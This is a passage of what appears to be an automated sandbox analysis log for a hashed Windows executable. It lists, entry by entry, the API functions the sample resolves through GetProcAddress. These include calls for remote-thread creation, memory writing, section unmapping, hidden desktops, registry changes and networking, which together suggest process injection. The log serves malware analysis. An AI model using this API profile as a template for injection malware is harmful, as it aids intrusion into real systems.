"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SizeofResource (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SetProcessAffinityMask (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SetPriorityClass (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SetFileAttributesW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SetErrorMode (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter RemoveDirectoryW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter QueryDosDeviceW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter OpenMutexA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter OpenFileMappingA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter OpenEventA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter MapViewOfFile (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter LockResource (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter LoadResource (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetTickCount (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetShortPathNameW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetFileAttributesA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetComputerNameW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetCommandLineW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter FindResourceW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter FileTimeToSystemTime (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter ExitThread (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CreateRemoteThread (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CreateProcessW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CreateMutexA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CreateFileMappingA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CreateEventA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CreateDirectoryW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetDCOrgEx (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetClipBox (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter UpdateWindow (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter TranslateMessage (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SystemParametersInfoA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SetWindowPos (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SetThreadDesktop (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SetProcessWindowStation (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SendMessageA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter ScreenToClient (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter RegisterClassExA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter RegisterClassA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter PostMessageA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter PeekMessageA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter OpenWindowStationA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter OpenDesktopA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter OffsetRect (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter MoveWindow (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter LoadCursorA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter IsIconic (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter IntersectRect (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetWindowRect (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetWindowPlacement (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetWindowInfo (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetMessageA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetLastInputInfo (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetClassNameA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetClassInfoExA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter ExitWindowsEx (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter EnumChildWindows (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter DispatchMessageA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter DefWindowProcA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CreateWindowExA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CreateDesktopA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter ClientToScreen (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter ChildWindowFromPoint (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CharLowerW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter InternetSetOptionA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter InternetReadFile (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter InternetQueryOptionA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter InternetOpenA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter InternetConnectA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter InternetCloseHandle (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter HttpSendRequestA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter HttpOpenRequestA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter FindNextUrlCacheEntryA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter FindFirstUrlCacheEntryA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter FindCloseUrlCache (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter DeleteUrlCacheEntry (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CLSIDFromProgID (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CoSetProxyBlanket (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CoInitializeSecurity (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter IsEqualGUID (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SysAllocString (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter __WSAFDIsSet (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter WSACleanup (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter WSAGetLastError (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter gethostbyname (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter socket (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter send (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter select (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter recv (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter ioctlsocket (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter inet_addr (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter htons (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter connect (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter waveOutGetNumDevs (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter waveOutSetVolume (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter waveOutGetDevCapsA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter AtlAxAttachControl (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter AtlAxWinInit (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter ZwSuspendProcess (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter WTSFreeMemory (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter WTSEnumerateSessionsA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GlobalMemoryStatusEx (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetDevicePowerState (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetVersionExA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter ZwWriteVirtualMemory (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter NtQueryValueKey (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter NtDeleteValueKey (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter NtSetValueKey (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter ZwCreateSection (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter ZwMapViewOfSection (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter ZwUnmapViewOfSection (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter ZwQueryInformationProcess (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter UrlMkSetSessionOption (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter ILCreateFromPathW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter NtWow64QueryInformationProcess64 (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter NtWow64ReadVirtualMemory64 (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter ZwQuerySystemInformation (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter RegisterClassNameW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter EtwRegisterTraceGuidsW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called 